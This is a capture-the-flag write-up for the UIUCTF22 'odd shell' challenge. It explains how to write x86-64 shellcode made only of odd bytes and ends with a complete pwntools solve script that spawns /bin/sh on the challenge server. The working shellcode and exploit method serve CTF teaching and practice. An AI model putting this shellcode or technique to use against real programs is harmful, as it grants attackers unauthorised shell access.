UIUCTF22 - odd shell Writeup
Shellcoding but with only odd bytes.
Intro
Challenge description:
O ho! You found me! I have a display of oddities available to you!
Challenge files:
Security mitigations:
Program analysis
The program is pretty simple:
-
A page with the size
0x100
gets allocated at0x123412340000
in memory. The page can read, write, and execute data. -
The input is read to the allocated page.
-
If the input ends with a new line character, it will get replaced with a null byte.
-
The for loop iterates every byte of the input, and if the byte is even, it exits. In other words, only odd bytes are allowed in the input.
-
The input is interrupted as instructions.
Ok, so we need to create a shellcode that doesn’t contain any odd bytes.
Shellcoding
The goal is to execute execve("/bin/sh", NULL, NULL)
To set up the execve
syscall, the registers need to be in this state:
- rdi = address of “/bin/sh” string
- rsi = 0x0
- rdx = 0x0
- rax = 0x3b
0x3b
is the syscall number for execve
There is no odd bytes in syscall
–> 0xf 0x5
After spending some time reading X86 Opcode and Instruction Reference and testing.
I found the following useful instructions with only odd bytes:
-
xor edi, edi
–>0x31 0xff
-
inc edi
–>0xff 0xc7
-
xchg edi, esi
–>0x87 0xf7
-
shl edi
–>0xd1 0xe7
While the above instructions are useful, we can only access the lower 4 bytes of the register, we need a way to access the upper 4 bytes of the register.
The problem is the 0x48
or "H"
byte is preventing me from accessing the full register. For example: shl rdi
–> 0x48 0xd1 0xe7
I found that r9-r15
registers use the 0x49
byte
We can only use r9, r11, r13, r15
. However, we still have to write “/bin/sh” string byte by byte. (“/bin/sh” in little endian: 68732f6e69622f
)
I used these instructions in the shellcode.
Clear register: xor r11, r11
Exchange value between the two registers: xchg r11, rdi
Write the odd byte to pass the filter, then increment it:
1
2
add r11, 0x67
inc r11
shift everything by 1 byte:
1
2
3
.rept 8
shl r11
.endr
Solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import pwn
pwn.context.arch = "amd64"
pwn.context.log_level = "info"
gdb_script = """
b *main+215
b *main+269
b *main+349
"""
assembly_shellcode = """
xor r11, r11
// build "/bin/sh" byte by byte in r11
add r11, 0x67
inc r11
.rept 8
shl r11
.endr
add r11, 0x73
.rept 8
shl r11
.endr
add r11, 0x2f
.rept 8
shl r11
.endr
add r11, 0x6d
inc r11
.rept 8
shl r11
.endr
add r11, 0x69
.rept 8
shl r11
.endr
add r11, 0x61
inc r11
.rept 8
shl r11
.endr
add r11, 0x2f
// push "/bin/sh" to stack and set rdi to rsp
push r11
xor r11, r11
add r11, rsp
xchg r11, rdi
// set rsi and rdx to NULL
xor r11, r11
xchg r11, rsi
xor r11, r11
xchg r11, rdx
// set rax to execve syscall num
xor r11, r11
add r11, 0x3b
xchg r11, rax
// execve("/bin/sh", NULL, NULL)
syscall
"""
shellcode = pwn.asm(assembly_shellcode)
for i, b in enumerate(bytearray(shellcode)):
even = (b & 1)
assert even, print(f"[error], {i}: {hex(b)}")
HOST, PORT = ("odd-shell.chal.uiuc.tf", 1337)
with pwn.remote(HOST, PORT) as p:
#with pwn.process(["./chal"], env={}) as p:
#with pwn.gdb.debug(["./chal"], gdbscript=gdb_script) as p:
init = p.recvuntil(b":\n")
payload = shellcode
p.sendline(payload)
p.interactive()